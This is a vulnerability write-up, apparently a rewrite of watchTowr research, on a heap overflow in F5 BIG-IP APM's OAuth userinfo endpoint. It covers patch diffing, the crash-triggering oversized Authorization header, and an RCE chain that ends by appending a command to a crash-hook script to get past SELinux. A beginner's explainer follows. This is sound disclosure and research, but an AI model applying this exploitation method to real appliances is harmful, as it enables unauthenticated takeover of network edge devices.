Is This A Joke? In The Auth Header? (F5 BIG-IP UnAuth Heap-Overflow to RCE CVE-2026-94127)
A heap buffer overflow in F5 BIG-IP's OAuth userinfo endpoint occurs because the Authorization header length is not checked before copying into a fixed-size buffer. An attacker could send an oversized Authorization header to crash the process and potentially achieve remote code execution.
Published on labs.watchtowr.com
This research is a glimpse into the capability powering the watchTowr Platform, a Preemptive Exposure Management solution. We enable organizations to autonomously validate and mitigate their exposure to emerging threats, ahead of in-the-wild exploitation.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
F5 BIG-IP is an application delivery controller (ADC) that sits in front of applications and decides where every request goes. Beyond load balancing, a typical deployment handles Layer 4 and Layer 7 traffic management, SSL/TLS offloading, DNS and global server load balancing, and, depending on licensing, a web application firewall (Advanced WAF) and a remote access and SSO gateway (APM). It all runs on F5's own TMOS operating system and is administered through a web-based Configuration Utility (TMUI) and the iControl REST API. It lives at the edge of the network, terminates TLS, sees traffic in plaintext and holds the keys to authentication.
The vulnerability in question is CVE-2026-94127, affecting the BIG-IP APM OAuth functionality. F5 published advisory K000162605 on 22 September, listing the following affected versions:
| Product | Branch | Versions known to be vulnerable | Fixes introduced in |
|---|---|---|---|
| BIG-IP APM | 21.x | 21.1.0 | Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso |
| BIG-IP APM | 17.x | 17.5.0-17.5.1, 17.1.0-17.1.3 | Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso, Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso |
| BIG-IP (all other modules) | All | None | Not applicable |
| BIG-IQ Centralized Management | All | None | Not applicable |

The CWE assignment also stood out:

The report notes that bad people on the Internet were exploiting it, which raised the obvious questions about how such a vulnerability could be reached.
Setup
To analyse the issue, the researcher set up an F5 BIG-IP appliance with a virtual server configured with an OAuth profile, and compared two builds:
- Vulnerable: BIG-IP
21.1.0, build0.0.38 - Patched: BIG-IP
[redacted], hotfix build0.30.22
The tooling was IDA and Diaphora for binary diffing.
Finding it
The starting point was the patch itself. The person of interest turned out to be another large ELF file:

Both binaries were loaded into IDA and compared with Diaphora, which exported 172882 functions in each binary:

When the comparison finished, the diff was small and revealing:
--- unpatched/tmm64.pgo_use/sub_10B01C0.c
+++ patched/tmm64.pgo_use/sub_10B0E00.c
@@ -163,10 +160,20 @@
-LABEL_17:
- if ( !v13 )
+LABEL_26:
+ if ( v20 > 0x4100 )
+ {
+ v15 = 5;
+ v26 = 29;
+ v27 = "Authorization header too big.";
+ if ( *(_DWORD *)(v5 + 616) )
+ goto LABEL_19;
+ goto LABEL_30;
+ }
+ if ( !v20 )
{
-LABEL_21:
- v22 = *(_QWORD *)(v5 + 520);
- goto LABEL_22;
+LABEL_11:
+ v10 = *(_QWORD *)(v5 + 520);
+ goto LABEL_12;
}
- if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
+ if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )
The added check compares a length value against 0x4100 and rejects anything larger with the message Authorization header too big.. The patched function, decompiled, shows the surrounding logic:
__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3)
{
[..SNIP..]
++*(_QWORD *)(qword_51F36C0 + 1352);
a3 = *(_QWORD *)(a1 + 48);
if ( (*(_WORD *)(a3 - 8) & 0x3FFF) == 0 )
goto LABEL_68;
++*(_QWORD *)(*(_QWORD *)(a3 + 320) + 592LL);
if ( v7 )
++*(_QWORD *)(v7 + 592);
a2 = 66;
v8 = (char *)umalloc(0x4100, 66, 0);
if ( !v8 )
{
v15 = 1;
v26 = 30;
v27 = "Out of memory for UserInfo req";
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( *(_WORD *)(v3 + 442) <= 0x1Du )
goto LABEL_11;
v9 = *(_WORD *)(v3 + 502);
if ( v9 == 0xFFFF )
goto LABEL_11;
a3 = v9;
if ( *(_WORD *)(v3 + 440) <= v9 )
goto LABEL_11;
a2 = *(_QWORD *)(v3 + 428);
a3 = v9 >> 4;
v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF);
if ( !v17 )
goto LABEL_11;
v18 = *(unsigned __int8 *)(v17 + 18);
a3 = *(_DWORD *)(v17 + 8) + (unsigned int)*(unsigned __int16 *)(v17 + 16);
v19 = *(_DWORD *)(v17 + 4) - a3;
if ( v19 == v18 )
goto LABEL_11;
v20 = (unsigned int)(v19 - v18);
v21 = *(_QWORD *)(v3 + 12);
if ( v21 )
{
v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6);
v82 = *(_QWORD *)(v3 + 12);
v81 = v22;
a3 = (unsigned int)(*(_DWORD *)v17 + a3);
v23 = *(unsigned __int16 *)(v21 + 6);
v24 = *(_QWORD *)(v21 + 8);
a2 = a3 + v22;
if ( a2 >= v24 + v23 && a2 < (unsigned __int64)*(unsigned __int16 *)(v21 + 4) + v23 + v24 )
{
v81 = a2;
goto LABEL_26;
}
}
else
{
v81 = 0;
v82 = 0;
}
a2 = (unsigned __int64)&v81;
v25 = sub_15C4E80(v72, &v81);
v15 = v25;
if ( v25 != 18 && v25 )
{
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
v26 = 38;
v27 = "Failed to lookup authorization header.";
goto LABEL_30;
}
LABEL_26:
if ( v20 > 0x4100 )
{
v15 = 5;
v26 = 29;
v27 = "Authorization header too big.";
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( !v20 )
{
LABEL_11:
v10 = *(_QWORD *)(v5 + 520);
goto LABEL_12;
}
if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 )
{
if ( v20 <= 6 || memcmp(v8, "Bearer ", 7u) )
{
v13 = 43;
v14 = "Authorization header must be of type Bearer";
LABEL_18:
v15 = 4;
sub_112F7C0(a1, v73, v5, 2, v14, v13);
goto LABEL_19;
}
[..SNIP..]
The flow is straightforward:
- A heap buffer of size
0x4100is allocated withumalloc(a wrapper aroundmalloc) and stored inv8. - An object member, assumed to be the length of the supplied
Authorization:HTTP header, is read intov20. - In the patched build,
v20is checked against0x4100. - If it is larger, an error is returned.
- Otherwise the header value is copied into the heap buffer with
memcpy_wrapper.
Before the patch there was no size check before the copy. The enterprise security appliance had a heap overflow in the code that handles security credentials.
Exploitation
Step 1: enable the OAuth profile
The advisory mentions OAuth, and F5's own documentation on the APM OAuth profile provides the configuration details. The command to enable the Access Policy Manager (APM) OAuth profile:

Step 2: find the endpoint
The same documentation page provides the HTTP endpoint that triggers the OAuth flow:


The researcher chose /f5-oauth2/v1/userinfo, noting that any of the listed endpoints would do.
Step 3: send an oversized Authorization header
With the profile configured, triggering the bug was a matter of sending a request whose Authorization header is larger than 0x4100 bytes:
GET /f5-oauth2/v1/userinfo HTTP/1.1
Host: bigip
Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Connection: close
The request produced an immediate crash. ufree hit an assert while dereferencing corrupted heap metadata:
rbx 0x30966e0 50947808
rcx 0x0 0
rdx 0x0 0
rsi 0x7feed66cd1c0 140663776399808
rdi 0x0 0
rbp 0x40000a150000 0x40000a150000
rsp 0x4000003fc880 0x4000003fc880
r8 0xa 10
r9 0x3442fac 54800300
r12 0x0 0
r13 0x5 5
r14 0x41414141 1094795585
r15 0x400004d62200 70368825319936
rip 0x16350b6 0x16350b6
#0 0x00000000016350b6 in ?? ()
#1 0x00000000016350d4 in tmm_assert ()
#2 0x000000000082be0a in ufree ()
#3 0x00000000010ba559 in ?? ()
#4 0x0000000000d5c35b in ?? ()
#5 0x0000000000dd8d33 in ?? ()
#6 0x0000000000858aee in ?? ()
#7 0x00000000008519c4 in ?? ()
#8 0x000000000084fc00 in ?? ()
The 0x41414141 in r14 is four A characters.
Step 4: assess the mitigations
System-wide ASLR was enabled. On BIG-IP there is no executable heap or stack. However, the binary is not position independent:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
No PIE means the binary is loaded at a fixed base address.
Step 5: land on a function pointer
In roughly 90% of runs, an object with a function pointer member landed just past the buffer, at buffer + 0x4ff8. The guessed layout of that object:
+0x00 callback function
+0x08 other fields
+0x10 other fields
The call site that invokes the overwritten pointer:
mov rdi, [rbx+18h]
mov r9, [rdi]
call r9
A stack pivot placed the alignment and arguments correctly, after which a chain of gadgets ran.
Step 6: try ret2plt with execvp
The first attempt was a classic ret2plt chain calling execvp:
execvp(
"/bin/sh",
(char *[]) { "sh", "-c", "touch /watchTowr.txt", NULL }
);
The gadget was built, but SELinux blocked the exec syscall:
-1, errno=13 (EACCES) :(

Step 7: work around SELinux
Writing a file to disk and dropping a web shell was also blocked, because the web server runs under SELinux too. While monitoring processes, the researcher noticed a Bash script invoked every time the target process crashed:
bash /etc/bigstart/scripts/tmm.finish
That hook script became the target. The ret2plt chain was reused to append a command to the script itself:
fd = open("/etc/bigstart/scripts/tmm.finish", O_WRONLY | O_APPEND);
write(fd, "/usr/bin/touch /watchTowr.txt;", 30);
The ret2plt chain was reused to append a command to the hook script itself.
Root cause
The bug is a missing length check before copying an attacker-controlled Authorization header into a fixed-size heap buffer of 0x4100 bytes. The header length is read into v20 and passed straight to memcpy_wrapper with the destination v8. The patch adds a single comparison, if ( v20 > 0x4100 ), that rejects oversized headers with Authorization header too big. before the copy.
Existing defences did not stop exploitation. ASLR was enabled, but the binary is not PIE, so code addresses are fixed. NX prevented executing from the heap or stack, but ret2plt chains do not need executable data. Stack canaries are irrelevant to a heap overflow. SELinux blocked direct exec and blocked the web server from writing a shell, but it did not prevent the process from appending to a script that is executed on crash, which is likely why the hook script provided the way out.
Impact
An attacker who can reach an OAuth endpoint on a vulnerable BIG-IP APM deployment can overflow the heap with a single request and, with a favourable heap layout, redirect execution through an overwritten function pointer. Because BIG-IP sits at the network edge, terminates TLS and holds authentication material, code execution there is significant. The report notes that the vulnerability was being exploited in the wild. The affected surface is limited to BIG-IP APM on the listed branches; other modules and BIG-IQ are listed as not affected.
Fix
F5 fixed the issue in the hotfix builds listed in the advisory: Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso for 21.x, and Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso and Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso for 17.x. The code change is the bounds check on the header length before the copy. The advisory lists these hotfix builds as the fixes.
- Other OAuth endpoints on the same virtual server. Send the same oversized
Authorization: Bearerheader to each documented/f5-oauth2/path and watch for a crash or atmm_assertinufree. A positive result is a process crash with0x41414141visible in registers. - Header lengths around the boundary. Try values just below, at and above
0x4100to confirm the check is present in a given build. A patched build returns theAuthorization header too big.error instead of crashing. - Other fixed-size buffers fed by headers. Look for other
umallocsites with a constant size followed by a copy whose length comes from a header, and test with oversized values. A positive result is corrupted heap metadata or an assert on free. - Crash hook scripts on other appliances. Check whether a script is invoked on process crash and whether the crashing process can write to it. A positive result is an appended command executing after the next crash.
- Non-PIE binaries with heap overflows. Where a binary lacks PIE, look for objects with function pointers placed after attacker-controlled buffers and test whether a pivot reaches them. A positive result is control of the call target.
What happened, in plain words
A write-up was published about a serious flaw in a product called F5 BIG-IP. The flaw has an official tracking number, CVE-2026-94127. In short: a piece of software that is supposed to protect and route traffic for large websites could be crashed by sending it a single web request with a very long line in it, and the researcher showed how the crash could be turned into command execution. The line is the part of a request that carries a login credential, the Authorization header. The software copied that line into a small reserved area of memory without first checking how long it was, so a long line spilled over into neighbouring memory. That kind of spill is called a buffer overflow, and here specifically a heap overflow. The researcher then showed how to turn that spill into running their own commands on the device, which is called remote code execution, or RCE.
The report is written in a jokey, sarcastic tone, but the technical content is serious. It walks through how the vendor fixed the bug, how the fix reveals exactly what was wrong, how to trigger the crash, and how the researcher got around the protections that were supposed to make exploitation hard.
Before going further, a few everyday comparisons will help.
- A server is a computer that answers requests from other computers. When you open a website, your browser asks a server for a page and the server sends it back.
- A request is the message your browser sends. It has a first line saying what you want (for example,
GET /some/page), then a list of lines called headers, each in the formName: value. Headers carry extra information, such as what browser you use or what language you prefer. - An API is a defined set of addresses and rules that programs use to talk to each other. Think of it as a service counter with labelled windows: you go to the window for the thing you want, and you must ask in the expected format.
- A token or cookie is a small piece of text that proves who you are, like a wristband at an event. You show it with each request, and the server lets you in without asking for your password again. The
Authorizationheader is one of the standard places to put such a credential. - Memory is the working space a program uses while running. The heap is the part of memory where a program asks the operating system for extra space at runtime, for things whose size is not known in advance, such as the contents of an incoming request.
- A buffer is a reserved block of memory, like a fixed-size box. If you pour more into the box than it holds, the extra spills onto whatever is next to it on the shelf. In a program, that spill can overwrite other data the program relies on.
- A crash is what happens when a program hits a state it cannot handle and stops. A crash is bad for availability, but it is also a clue: it often means memory was corrupted.
- Remote code execution means an attacker, from another computer, gets the target to run commands of the attacker's choosing. It is the worst outcome for a server, because the attacker can then do anything the server's own software is allowed to do.
With those ideas in place, the rest of this article follows the researcher's path step by step: what the product is, what the vendor said, how the patch was found, how the bug was triggered, and how the crash was turned into command execution.
What F5 BIG-IP is, and why it matters
F5 is a company based in Seattle. It makes BIG-IP, which the report describes as an application delivery controller, or ADC. An ADC sits in front of your applications and decides where every request goes. A simple comparison: a receptionist in a large building who sees every visitor first, checks their badge, and directs them to the right office. Nobody reaches an office without passing the receptionist.
Beyond basic load balancing (spreading requests across several servers so no single one is overwhelmed), a typical BIG-IP deployment handles:
- Layer 4 and Layer 7 traffic management, meaning it can make routing decisions based on low-level network details or on the content of the request itself.
- SSL/TLS offloading, meaning it handles the encryption and decryption of secure connections so the servers behind it do not have to.
- DNS and global server load balancing, meaning it can direct traffic between data centres.
- Depending on how many licences were bought, a web application firewall (Advanced WAF), which filters out malicious requests, and a remote access and SSO gateway (APM), which lets staff log in once and reach many internal systems.
All of this runs on F5's own operating system, TMOS. Administrators manage it through a web-based Configuration Utility (TMUI) and through the iControl REST API, which is a set of programmable addresses for automating configuration.
The report stresses the position this device occupies: it lives at the very edge of the network, it terminates TLS (so it sees traffic decrypted, in plaintext), and it holds the keys to authentication. In everyday terms, it is the front door, the security desk and the key cabinet all in one. A flaw there is not a flaw in some back-office tool; it is a flaw in the thing that is supposed to be guarding everything else.
The advisory and the affected versions
The story began with a new knowledge base article. On 22 September, F5 published an advisory with the identifier K000162605.

The report jokes about the advisory's talk of planes, but the substance is the version table. The advisory lists the following versions as affected:
| Product | Branch | Versions known to be vulnerable | Fixes introduced in |
|---|---|---|---|
| BIG-IP APM | 21.x | 21.1.0 | Hotfix-BIGIP-21.1.0.2.0.30.22-ENG.iso |
| BIG-IP APM | 17.x | 17.5.0-17.5.1, 17.1.0-17.1.3 | Hotfix-BIGIP-17.5.1.9.0.160.12-ENG.iso, Hotfix-BIGIP-17.1.3.5.0.41.14-ENG.iso |
| BIG-IP (all other modules) | All | None | Not applicable |
| BIG-IQ Centralized Management | All | None | Not applicable |
Reading the table: only the APM module, the access and single sign-on part, is affected, and only on the 21.x and 17.x branches. A hotfix is a small corrective update, and the file names in the last column are the installation images that contain the fix. Every other BIG-IP module is listed as not vulnerable, and so is BIG-IQ, a separate product for centralised management.
The report then points out that the CWE assignment caught the researcher's attention:

CWE stands for Common Weakness Enumeration. It is a public catalogue of categories of software mistakes, each with a number, a bit like a library classification for bugs. The report does not spell out which category was assigned, only that it was notable.
What made the situation urgent was that bad people on the Internet were exploiting it, meaning real attackers were already using it, not just researchers in a lab. That raised the questions the report lists: how could they, are these not complex vulnerabilities, are they geniuses, and when is dinner. The first three are the ones that matter here, because the rest of the article answers them.
Setting up a lab
To study the bug, the researcher set up an F5 BIG-IP appliance with a virtual server configured with an OAuth profile. Two terms need unpacking.
- A virtual server, in this context, is a configuration inside BIG-IP that represents a website or service the device is fronting. It is where you attach settings such as which login method to use.
- OAuth is a standard way for one service to let a user prove who they are, or to let an application act on a user's behalf, without sharing the password. When you click "Sign in with" some other provider, OAuth is usually involved. In BIG-IP's APM module, an OAuth profile is the configuration that turns this support on for a virtual server.
The researcher then compared two builds of the software:
- Vulnerable: BIG-IP
21.1.0, build0.0.38 - Different: BIG-IP
[redacted], hotfix build0.30.22
The idea is simple: take the version with the bug and the version with the fix, and look for what changed. The difference is the fix, and the fix points straight at the bug. This technique is called patch diffing, and it is one of the most efficient ways to understand a vulnerability after a vendor has disclosed it.
Patch diffing: comparing the old and new software
The report notes, with a jab at another vendor, that the person of interest is yet another massive ELF file.

An ELF file is the standard format for a program on Linux and similar systems. It is the compiled binary, the machine-code form of the software, as opposed to human-readable source code. The file names in the diff below (tmm64) show that this is the binary under study.
Both binaries were loaded into IDA, a program for inspecting compiled binaries, and compared with Diaphora, a plugin that matches functions between two versions and highlights the differences. The report says the tool exported 172882 functions in each binary to compare.

A function is a named block of code that does one job, such as "copy this header into a buffer". Comparing hundreds of thousands of them is a lot of work for a human, which is why the tool does the matching and the researcher reads the small set of differences.
When the comparison finished, the difference was small and revealing:
--- unpatched/tmm64.pgo_use/sub_10B01C0.c
+++ patched/tmm64.pgo_use/sub_10B0E00.c
@@ -163,10 +160,20 @@
-LABEL_17:
- if ( !v13 )
+LABEL_26:
+ if ( v20 > 0x4100 )
+ {
+ v15 = 5;
+ v26 = 29;
+ v27 = "Authorization header too big.";
+ if ( *(_DWORD *)(v5 + 616) )
+ goto LABEL_19;
+ goto LABEL_30;
+ }
+ if ( !v20 )
{
-LABEL_21:
- v22 = *(_QWORD *)(v5 + 520);
- goto LABEL_22;
+LABEL_11:
+ v10 = *(_QWORD *)(v5 + 520);
+ goto LABEL_12;
}
- if ( sub_1527C00(v77, v84, v85, v8, v13, 0) == v13 )
+ if ( sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20 )
This is a diff, a side-by-side view of what changed. Lines starting with a minus were in the old, vulnerable version; lines starting with a plus are in the new, fixed version. Reading it line by line:
- The
---and+++lines name the two files being compared, one from the unpatched build and one from the patched build. Thesub_...names are placeholders the analysis tool gives to functions whose real names are not present in the binary. @@ -163,10 +160,20 @@is a location marker: it says the changed region starts around line 163 in the old file and line 160 in the new one, and shows how many lines are involved on each side.- The removed lines show the old logic: a label
LABEL_17, a checkif ( !v13 ), and a call to a functionsub_1527C00whose result is compared withv13. - The added lines introduce a new check:
if ( v20 > 0x4100 ). If that is true, the code sets an error code (v15 = 5), an error number (v26 = 29), and an error message,"Authorization header too big.", then jumps to error handling. - The added
if ( !v20 )handles the case where the length is zero, jumping to a label that skips the copy. - The final changed line replaces the old call with
sub_152E2C0(v72, v81, v82, v8, v20, 0) == v20, which is the copy operation, now using the lengthv20.
The key observation is the added comparison against 0x4100. The prefix 0x means the number is written in hexadecimal, base 16, a notation programmers use because it maps neatly onto memory sizes. 0x4100 is 16640 in ordinary decimal. The new code refuses any header longer than that, with the message Authorization header too big.. A check like this, which limits how much data may be copied, is called a bounds check.
Reading the patched function
The report then shows the surrounding function, decompiled. Decompilation is the process of turning compiled machine code back into something resembling source code, so a human can read the logic. The listing is long, so here it is with the important parts explained.
__int64 __fastcall sub_1147D80(__int64 a1, unsigned __int64 a2, __int64 a3)
{
[..SNIP..]
++*(_QWORD *)(qword_51F36C0 + 1352);
a3 = *(_QWORD *)(a1 + 48);
if ( (*(_WORD *)(a3 - 8) & 0x3FFF) == 0 )
goto LABEL_68;
++*(_QWORD *)(*(_QWORD *)(a3 + 320) + 592LL);
if ( v7 )
++*(_QWORD *)(v7 + 592);
a2 = 66;
v8 = (char *)umalloc(0x4100, 66, 0);
if ( !v8 )
{
v15 = 1;
v26 = 30;
v27 = "Out of memory for UserInfo req";
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( *(_WORD *)(v3 + 442) <= 0x1Du )
goto LABEL_11;
v9 = *(_WORD *)(v3 + 502);
if ( v9 == 0xFFFF )
goto LABEL_11;
a3 = v9;
if ( *(_WORD *)(v3 + 440) <= v9 )
goto LABEL_11;
a2 = *(_QWORD *)(v3 + 428);
a3 = v9 >> 4;
v17 = *(_QWORD *)(a2 + 8 * a3) + 24LL * (v9 & 0xF);
if ( !v17 )
goto LABEL_11;
v18 = *(unsigned __int8 *)(v17 + 18);
a3 = *(_DWORD *)(v17 + 8) + (unsigned int)*(unsigned __int16 *)(v17 + 16);
v19 = *(_DWORD *)(v17 + 4) - a3;
if ( v19 == v18 )
goto LABEL_11;
v20 = (unsigned int)(v19 - v18);
v21 = *(_QWORD *)(v3 + 12);
if ( v21 )
{
v22 = *(_QWORD *)(v21 + 8) + *(unsigned __int16 *)(v21 + 6);
v82 = *(_QWORD *)(v3 + 12);
v81 = v22;
a3 = (unsigned int)(*(_DWORD *)v17 + a3);
v23 = *(unsigned __int16 *)(v21 + 6);
v24 = *(_QWORD *)(v21 + 8);
a2 = a3 + v22;
if ( a2 >= v24 + v23 && a2 < (unsigned __int64)*(unsigned __int16 *)(v21 + 4) + v23 + v24 )
{
v81 = a2;
goto LABEL_26;
}
}
else
{
v81 = 0;
v82 = 0;
}
a2 = (unsigned __int64)&v81;
v25 = sub_15C4E80(v72, &v81);
v15 = v25;
if ( v25 != 18 && v25 )
{
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
v26 = 38;
v27 = "Failed to lookup authorization header.";
goto LABEL_30;
}
LABEL_26:
if ( v20 > 0x4100 )
{
v15 = 5;
v26 = 29;
v27 = "Authorization header too big.";
if ( *(_DWORD *)(v5 + 616) )
goto LABEL_19;
goto LABEL_30;
}
if ( !v20 )
{
LABEL_11:
v10 = *(_QWORD *)(v5 + 520);
goto LABEL_12;
}
if ( memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20 )
{
if ( v20 <= 6 || memcmp(v8, "Bearer ", 7u) )
{
v13 = 43;
v14 = "Authorization header must be of type Bearer";
LABEL_18:
v15 = 4;
sub_112F7C0(a1, v73, v5, 2, v14, v13);
goto LABEL_19;
}
[..SNIP..]
Line by line, in plain words:
__int64 __fastcall sub_1147D80(...)declares a function that returns a 64-bit integer. The namesub_1147D80is a placeholder.__fastcallis a calling convention, a rule about how arguments are passed to the function.[..SNIP..]marks code the report left out because it is not relevant to the bug.- The lines with
++*(_QWORD *)(...)are counters being incremented, statistics the software keeps about how often things happen. They are noise for our purposes. a3 = *(_QWORD *)(a1 + 48);reads a value from a structure, at an offset of 48 bytes from the start. In compiled code, structures are accessed by offset rather than by field name, because names are lost when the program is compiled.if ( (*(_WORD *)(a3 - 8) & 0x3FFF) == 0 ) goto LABEL_68;is a test on some flags, with a jump to another part of the function if the test passes._WORDmeans a 16-bit value, and&is a bitwise AND, used here to mask off bits.a2 = 66;sets a variable, probably a size or a type code.v8 = (char *)umalloc(0x4100, 66, 0);is the crucial allocation.umallocis described in the report as a wrapper aroundmalloc, the standard C function for reserving memory on the heap. It reserves0x4100bytes, 16640 in decimal, and stores the address of that block inv8. The(char *)part tells the compiler to treat the address as pointing to characters, that is, bytes.- The
if ( !v8 )block handles the case where the allocation failed, setting an error message,"Out of memory for UserInfo req", and jumping to error handling.UserInfois the name of the OAuth operation being served. - The next several lines walk through internal structures, using offsets such as
+442,+502,+440,+428,+12, to locate the incoming request's headers. Thegoto LABEL_11jumps skip the copy when the relevant data is absent or malformed. v20 = (unsigned int)(v19 - v18);computes a length. The report says this is assumed to be the length of the suppliedAuthorization:header. The arithmetic subtracts one offset from another, which is how a header's value length is derived from the request buffer's bookkeeping.- The block starting
if ( v21 )computes where the header value sits in memory, storing a pointer inv81and a related value inv82. If the computed position falls inside the expected range, it jumps toLABEL_26. - If that fast path is not taken,
sub_15C4E80(v72, &v81)looks the header up by name, and a failure produces"Failed to lookup authorization header.". LABEL_26:is where the new check lives:if ( v20 > 0x4100 ). If the header is longer than the buffer, the code sets an error and the message"Authorization header too big."and jumps to error handling. This is the fix.if ( !v20 )handles a zero-length header by skipping the copy.memcpy_wrapper(v72, v81, v82, v8, v20, 0) == v20is the copy itself.memcpyis the standard C function that copies a given number of bytes from one place to another. Here the source is the header value, the destination is thev8buffer, and the number of bytes isv20, the header length. The wrapper returns the number of bytes copied, and the comparison checks that all of them were copied.- The following
ifchecks that the header starts withBearer, usingmemcmp, a function that compares two blocks of bytes. If it does not, the code reports"Authorization header must be of type Bearer".Beareris the word that introduces a token in this kind of header, as inAuthorization: Bearer <token>.
The report summarises the flow in five numbered points:
- A heap buffer of size
0x4100is allocated withumallocand stored inv8. - An object member, assumed to be the length of the supplied
Authorization:HTTP header, is read intov20. - In the patched build,
v20is checked against0x4100. - If it is larger, an error is returned.
- Otherwise the header value is copied into the heap buffer with
memcpy_wrapper.
Before the patch there was no size check before the copy. The enterprise security appliance had a heap overflow in the code that handles security credentials. The report's own summary is blunt: a primitive from 20 years ago, in the part that handles logins.
Triggering the bug
Understanding the bug is one thing; proving it is another. The next step was to actually make the device crash.
The advisory mentions OAuth, and F5's own documentation on the APM OAuth profile provides the configuration details. The command to enable the Access Policy Manager (APM) OAuth profile is shown in the documentation:

The same documentation page provides the HTTP endpoint that triggers the OAuth flow:


An endpoint is simply a specific address on a server, like a particular counter in a building. The report notes that the researcher picked /f5-oauth2/v1/userinfo, but that you can pick whatever you want. The path is visible in the URL, and the report remarks that relying on nobody knowing the address is not a security control.
With the profile configured, triggering the bug was a matter of sending a request whose Authorization header is larger than 0x4100 bytes:
GET /f5-oauth2/v1/userinfo HTTP/1.1
Host: bigip
Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Connection: close
Line by line:
GET /f5-oauth2/v1/userinfo HTTP/1.1is the request line.GETis the method, meaning "give me this resource". The path is the OAuth endpoint.HTTP/1.1is the version of the protocol being spoken.Host: bigipis a header naming the server the request is for.bigipis a placeholder hostname in the lab.Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...is the important line.Authorizationis the header name,Bearerintroduces the credential, and the long run ofAcharacters is the credential value. The...indicates that the run continues far beyond what is shown, past the 16640-byte limit. The letterAis chosen because it is easy to spot in memory: its byte value is0x41.Connection: closeasks the server to close the connection after responding, which keeps the test simple.
The request produced an immediate crash. The report shows the state of the processor at the moment of the crash, with register values and a call stack:
rbx 0x30966e0 50947808
rcx 0x0 0
rdx 0x0 0
rsi 0x7feed66cd1c0 140663776399808
rdi 0x0 0
rbp 0x40000a150000 0x40000a150000
rsp 0x4000003fc880 0x4000003fc880
r8 0xa 10
r9 0x3442fac 54800300
r12 0x0 0
r13 0x5 5
r14 0x41414141 1094795585
r15 0x400004d62200 70368825319936
rip 0x16350b6 0x16350b6
#0 0x00000000016350b6 in ?? ()
#1 0x00000000016350d4 in tmm_assert ()
#2 0x000000000082be0a in ufree ()
#3 0x00000000010ba559 in ?? ()
#4 0x0000000000d5c35b in ?? ()
#5 0x0000000000dd8d33 in ?? ()
#6 0x0000000000858aee in ?? ()
#7 0x00000000008519c4 in ?? ()
#8 0x000000000084fc00 in ?? ()
What this shows:
- The lines at the top are registers, the small, very fast storage slots inside a processor. Each line gives the register name, its value in hexadecimal, and the same value in decimal. For example,
r14holds0x41414141, which is 1094795585 in decimal. 0x41414141is fourAcharacters. This is the filler from the header, and it appearing in a register is direct evidence that the overflow data reached memory the program later used for its own bookkeeping.ripis the instruction pointer, the address of the instruction being executed at the moment of the crash.- The numbered lines below are the call stack, the chain of function calls that led to the crash.
#0is where it stopped,#1is the function that called it, and so on. tmm_assertis an assertion handler. An assertion is a check a program makes about its own internal state; when the check fails, the program deliberately stops rather than continue in an unknown state.ufreeis the memory-freeing function, the counterpart ofumalloc.
So the sequence is: the oversized header overwrote the hidden records that the memory allocator keeps next to each block, and when the program later tried to free that memory, ufree found the records corrupted, hit an assertion in tmm_assert, and the process died. The report's sarcastic aside is that the authentication boundary of a security appliance should not crash on a malformed header.
The protections, and why they did not stop exploitation
A crash is a denial of service, but the researcher wanted to know whether it could become code execution. That depends on the defences the software was built with. The report checked them and found system-wide ASLR enabled. ASLR, Address Space Layout Randomisation, is a defence that shuffles the locations of code and data in memory each time a program starts, so an attacker cannot rely on fixed addresses. The report also notes that, unlike some other products, BIG-IP has no executable heap or stack, meaning memory holding data cannot be run as code.
However, the binary is not position independent:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
This is the output of a tool that inspects a binary's security properties. Line by line:
Arch: amd64-64-littlesays the program is built for 64-bit x86 processors with little-endian byte order, the common layout on ordinary PCs and servers.RELRO: Partial RELROrefers to a protection for a table of function addresses the program uses. Partial means only part of that table is made read-only after startup.Stack: Canary foundmeans the program places a secret value, a canary, on the stack before certain operations and checks it afterwards. If a stack overflow overwrites the canary, the program notices. This protects the stack, not the heap.NX: NX enabledmeans No-eXecute: memory marked for data cannot be executed as code. This is the same point as no executable heap or stack.PIE: No PIE (0x400000)is the important one. PIE stands for Position Independent Executable. When PIE is off, the program is loaded at a fixed address, here starting at0x400000, every time. ASLR cannot move it. So while data addresses may vary, the addresses of the program's own code are predictable.FORTIFY: Enabledmeans the program was compiled with extra checks on some standard library calls, such as copies into fixed-size buffers.
No PIE means fixed addresses for code and gadgets. A gadget is a short sequence of existing instructions in the program that ends in a jump or return, and attackers chain gadgets together to make the program do things it was never meant to do. With fixed addresses, the attacker knows where each gadget is.
Turning the crash into control
At this point the researcher had a corrupted heap and predictable code addresses. The next question was what the overflow could overwrite that the program would later use in a way that transfers control.
